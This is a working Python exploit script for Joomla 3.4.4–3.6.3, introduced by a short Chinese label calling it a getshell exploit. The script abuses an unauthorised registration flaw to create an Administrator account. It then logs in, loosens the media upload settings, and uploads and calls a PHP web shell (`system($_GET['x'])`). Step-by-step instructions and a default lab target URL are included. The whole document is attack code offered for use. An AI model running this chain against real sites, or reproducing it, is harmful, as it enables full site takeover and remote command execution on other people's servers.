Joomla 3.4.4 - 3.6.3 not authorized to create user vulnerability

                                                # Getshell exp，使用方法参考 https://github.com/XiphosResearch/exploits/tree/master/Joomraa

#!/usr/bin/python
from __future__ import print_function
import requests
import sys
import re
import argparse
import base64
import os
import random
import time
try:
	# Python 2.6-2.7 
	from HTMLParser import HTMLParser
except ImportError:
	# Python 3
	from html.parser import HTMLParser

"""
How to exploit:

  1) Run script, get user access
  2) [optional] - Activate your account
  3) Go to Content > Media
  4) Click 'Options'
  5.1) Add php3, php4, php5, pht to 'Legal Extensions' & Legal Image Extensions
  5.2) Disable 'Restrict Uploads' & 'Check MIME Types'
  6) Upload '.pht' file with:
      <?= system($_GET['x']);
  7) Pwned
"""

def randomname(extn='.pht'):
	return base64.b32encode(os.urandom(20))[:random.randint(5, 10)] + extn

def extract_token(resp):
	match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
	if match is None:
		print("[!] Cannot find CSRF token")
		return None
	return match.group(1)

def try_admin_login(options, sess):
	admin_url = options.url + '/administrator/index.php'
	print('[-] Getting token for admin login')
	resp = sess.get(admin_url)
	token = extract_token(resp)
	if not token:
		return False
	print('[-] Logging in to admin')
	data = {
		'username': options.username,
		'passwd': options.password,
		'task': 'login',
		token: '1'
	}
	resp = sess.post(admin_url, data=data)
	if 'task=profile.edit' not in resp.text:
		print('[!] Admin Login Failure!')
		return
	print('[+] Admin Login Success!')
	return True

def get_media_options(options, sess):
	print("[+] Getting media options")
	media_options_url = options.url + '/administrator/index.php?option=com_config&view=component&component=com_media&path='
	resp = sess.get(media_options_url)
	results = re.findall(r'name="([^"]+)"\s+[^>]*?value="([^"]+)"', resp.text, re.S)
	if not results:
		print("[!] Fail")
		return
	return dict(results)

def set_media_options(options, sess, data):
	"""
	Allow us to upload a .pht file
	"""
	print("[+] Setting media options")
	newdata = {
		'jform[upload_extensions]': 'bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS',
		'jform[upload_maxsize]':10,
		'jform[file_path]':'images',
		'jform[image_path]':'images',
		'jform[restrict_uploads]':1,
		'jform[check_mime]':0,
		'jform[image_extensions]':'bmp,gif,jpg,png',
		'jform[ignore_extensions]': '',
		'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip',
		'jform[upload_mime_illegal]':'text/html',
		'id':13
	}
	newdata.update(data)
	newdata['component'] = 'com_media'
	newdata['task'] = 'config.save.component.apply'
	config_url = options.url + '/administrator/index.php?option=com_config'
	resp = sess.post(config_url, data=newdata)
	if 'jform[upload_extensions]' not in resp.text:
		print('[!] Maybe failed to set media options...')
		return False
	return True

def add_item(data, field, item):
	return ",".join(set(data.get(field, '').split(',') + [item]))

def stage_two(options, sess):
	"""Now we are logged in to admin area,
	   use this to gain shell execution using .pht upload.
	   Ooh, scary super 0-day lol ^_^ *rolleyes*
	"""
	media_options = get_media_options(options, sess)
	if not media_options:
		return False
	old_options = media_options.copy()
	media_options.update({
		'jform[check_mime]': 0,
		'jform[restrict_uploads]': 0,
		'jform[upload_extensions]': add_item(media_options, 'jform[upload_extensions]', 'pht'),
		'jform[image_extensions]': add_item(media_options, 'jform[image_extensions]', 'pht'),
		'jform[upload_mime]': add_item(media_options, 'jform[upload_mime]', 'application/octet-stream'),
	})
	if not set_media_options(options, sess, media_options):		
		return False
	image_path = media_options.get('jform[image_path]', 'images')
	return upload_file(options, sess, image_path)

def upload_file(options, sess, image_path):
	print("[*] Uploading exploit.pht")
	url = options.url + "/administrator/index.php?option=com_media&folder="
	resp = sess.get(url)
	match = re.search(r'form action="([^"]+)" id="uploadForm"', resp.text, re.S)
	if not match:
		print("[!] Cannot find file upload form!")
		return False
	upload_url = HTMLParser().unescape(match.group(1))
	filename = randomname()
	exploit_url = "%s/%s/%s" % (options.url, image_path, filename)
	print("[*] Uploading exploit to:", exploit_url)
	files = {
		'Filedata[]': (filename, options.exploit, 'application/octet-stream')
	}
	data = dict(folder="")
	resp = sess.post(upload_url, files=files, data=data)
	if filename not in resp.content:
		print("[!] Failed to upload file!")
		return False
	print("[*] Calling exploit")
	resp = sess.get(exploit_url)
	if options.search not in resp.content:
		print("[!] Search string not in exploit")
		print(resp)
		return False
	print("[$] Exploit Successful!")
	return True

def create_user(options, sess, token):
	"""
	Create an Administrtaor user using the CVE
	"""
	data = {
		# User object
		'user[name]': options.username,
		'user[username]': options.username,
		'user[password1]': options.password,
		'user[password2]': options.password,
		'user[email1]': options.email,
		'user[email2]': options.email,
		'user[groups][]': '7',	# Yay, Administrator!
		# Sometimes these will be overridden
		'user[activation]': '0',
		'user[block]': '0',

		# Form data
		'form[name]': options.username,
		'form[username]': options.username,
		'form[password1]': options.password,
		'form[password2]': options.password,
		'form[email1]': options.email,
		'form[email2]': options.email,
		'form[option]': 'com_users',
		'form[task]': 'user.register',
		token: '1',
	}
	return sess.post(options.url + "/index.php/component/users/?task=user.register", data=data, allow_redirects=False)

def parse_options():
	try:
		exploit_file = open('filthyc0w.pht', 'r')
	except Excption:
		exploit_file = None
	parser = argparse.ArgumentParser(description='Jooma Exploit')
	parser.add_argument('url', help='Base URL for Joomla site')
	parser.add_argument('-u', '--username', default='hacker')
	parser.add_argument('-p', '--password', default='password')
	parser.add_argument('-e', '--email', default='[email protected]')
	parser.add_argument('-s', '--search', default='098f6bcd4621d373cade4e832627b4f6')
	parser.add_argument('-x', '--exploit', default=exploit_file, type=argparse.FileType('r'))
	return parser.parse_args()

def pwn_joomla(options):
	sess = requests.Session()
	print("[-] Getting token")
	resp = sess.get(options.url + "/index.php/component/users/?view=login")	
	token = extract_token(resp)
	if not token:
		return False
	print("[-] Creating user account")
	resp = create_user(options, sess, token)
	can_login = try_admin_login(options, sess)
	if not can_login:
		# TODO: periodically check if we can login as admin
		print("[-] Check email for activation code")
		try:
			resp = raw_input('[?] Press any key after activation')
		except KeyboardInterrupt:
			return False
		can_login = try_admin_login(options, sess)
		if not can_login:
			return False
	return stage_two(options, sess)

def print_logo():
	clear = "\x1b[0m"
	colors = [31, 32, 33, 34, 35, 36]

	logo = """                                                                                                                    
     @@@   @@@@@@    @@@@@@   @@@@@@@@@@   @@@@@@@    @@@@@@    @@@@@@   @@@  
     @@@  @@@@@@@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@  
     @@!  @@!  @@@  @@!  @@@  @@! @@! @@!  @@!  @@@  @@!  @@@  @@!  @@@  @@!  
     !@!  !@!  @!@  !@!  @!@  !@! !@! !@!  !@!  @!@  !@!  @!@  !@!  @!@  !@   
     !!@  @!@  !@!  @!@  !@!  @!! !!@ @!@  @!@!!@!   @!@!@!@!  @!@!@!@!  @!@  
     !!!  !@!  !!!  !@!  !!!  !@!   ! !@!  !!@!@!    !!!@!!!!  !!!@!!!!  !!!  
     !!:  !!:  !!!  !!:  !!!  !!:     !!:  !!: :!!   !!:  !!!  !!:  !!!       
!!:  :!:  :!:  !:!  :!:  !:!  :!:     :!:  :!:  !:!  :!:  !:!  :!:  !:!  :!:  
::: : ::  ::::: ::  ::::: ::  :::     ::   ::   :::  ::   :::  ::   :::   ::  
 : :::     : :  :    : :  :    :      :     :   : :   :   : :   :   : :  :::  
"""
	for line in logo.split("\n"):
		sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
		time.sleep(0.05)

def main(base_url):	
	options = parse_options()
	print_logo()
	if pwn_joomla(options):
		print("[$] SUCCESS:", options.url)
	else:
		print("[*] FAILURE")

if __name__ == "__main__":
	sys.exit(main("http://192.168.10.100:8080/joomla"))